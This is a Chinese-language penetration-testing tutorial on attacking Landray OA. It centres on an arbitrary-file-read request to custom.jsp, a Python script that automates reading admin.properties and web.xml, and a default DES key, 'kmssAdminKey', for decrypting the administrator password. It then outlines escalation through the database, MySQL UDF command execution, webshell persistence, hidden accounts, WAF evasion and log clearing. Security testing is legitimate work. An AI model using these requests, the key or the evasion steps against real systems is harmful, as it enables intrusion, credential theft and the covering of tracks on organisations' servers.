蓝凌OA渗透测试实战:从任意文件读取到完整攻击链构建
在渗透测试实战中,我们常常陷入一种思维定式——追求直接获取远程代码执行(RCE)漏洞。然而,真正高效的渗透测试往往需要更灵活的思维路径。蓝凌OA系统作为企业级协同办公平台,其安全性直接关系到企业核心数据资产。本文将带你跳出RCE的单一视角,探索如何通过任意文件读取漏洞快速定位后台入口、获取敏感配置,并构建完整的攻击链。
1. 重新认识任意文件读取漏洞的价值
任意文件读取漏洞常被视为"低危"或"信息泄露"类漏洞,但实际上它是渗透测试中的"瑞士军刀"。在蓝凌OA系统中,这类漏洞通常存在于custom.jsp等接口中,攻击者可以通过构造特殊请求读取服务器上的任意文件。
典型利用方式:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: target.com Content-Type: application/json {"body":{"file":"file:///etc/passwd"}}与直接尝试RCE相比,任意文件读取具有以下优势:
- 隐蔽性高:不会触发明显的防御机制
- 信息价值大:可获取系统配置、密钥、数据库连接等关键信息
- 攻击面广:为后续攻击提供精准定位
2. 关键配置文件定位与利用
蓝凌OA系统中,以下几个配置文件往往包含高价值信息:
| 文件路径 | 可能包含的信息 | 后续利用方式 |
|---|---|---|
| /WEB-INF/KmssConfig/admin.properties | 后台管理密码(加密)、密钥 | 解密后登录后台 |
| /WEB-INF/classes/spring*.xml | 数据库连接信息、服务配置 | 数据库直接访问 |
| /WEB-INF/web.xml | 接口映射、过滤器配置 | 发现隐藏接口 |
| /WEB-INF/classes/applicationContext*.xml | 服务依赖、组件配置 | 寻找反序列化点 |
实战案例:解密admin.properties
- 读取文件内容:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: target.com Content-Type: application/json {"body":{"file":"file:///WEB-INF/KmssConfig/admin.properties"}}- 获取加密密码后,使用默认密钥
kmssAdminKey进行DES解密 - 尝试登录后台管理界面
/admin.do
3. 从信息收集到权限提升
获取配置文件只是第一步,关键在于如何将这些信息转化为实际的权限提升。以下是几种常见路径:
3.1 后台功能滥用
- 通过解密获得的密码登录后台
- 寻找存在漏洞的管理功能,如:
- 文件上传点
- 模板编辑功能
- 系统命令执行接口
3.2 数据库连接利用
从配置文件中获取的数据库信息可用于:
- 直接连接数据库,修改用户数据
- 提取加密凭证进行离线破解
- 通过数据库特定功能(如MySQL的UDF)实现命令执行
3.3 密钥重用攻击
蓝凌OA系统中常见的密钥用途包括:
- 管理员密码加密
- 会话令牌签名
- 敏感数据加密
获取一个密钥可能意味着可以解密多个系统的敏感数据。
4. 攻击链构建与防御规避
成熟的渗透测试需要构建完整的攻击链,而非依赖单一漏洞。以下是一个典型的攻击流程:
- 初始访问:通过任意文件读取获取配置信息
- 权限提升:利用获取的凭证登录后台
- 横向移动:通过数据库连接访问其他系统
- 持久化:植入Webshell或创建隐藏账户
防御规避技巧:
- 使用低频请求避免触发WAF
- 清理日志中的敏感操作记录
- 利用系统正常功能(如日志查看)掩盖恶意行为
在实际测试中,我曾遇到一个案例:通过读取web.xml发现了被重命名的管理接口,结合从spring配置中获取的数据库密码,最终实现了对整个系统的控制。这种"拼图式"的攻击方式往往比直接尝试RCE更有效。
5. 工具与自动化实践
虽然手动测试能加深理解,但实战中效率至关重要。以下工具可以提升测试效率:
- 自定义脚本:自动化文件读取和敏感信息提取
import requests targets = [ "/WEB-INF/KmssConfig/admin.properties", "/WEB-INF/web.xml", # 其他关键文件路径 ] for target in targets: resp = requests.post( "http://target.com/sys/ui/extend/varkind/custom.jsp", json={"body":{"file":f"file://{target}"}} ) if resp.status_code == 200: print(f"[+] Found: {target}") print(resp.text)- 密码解密工具:针对蓝凌OA的DES加密实现专用解密器
- 请求代理插件:Burp插件自动标记敏感信息
记住,工具只是辅助,真正的价值在于测试者的思路和对系统的理解深度。每次测试都应视为一次学习机会,而不仅仅是漏洞挖掘任务。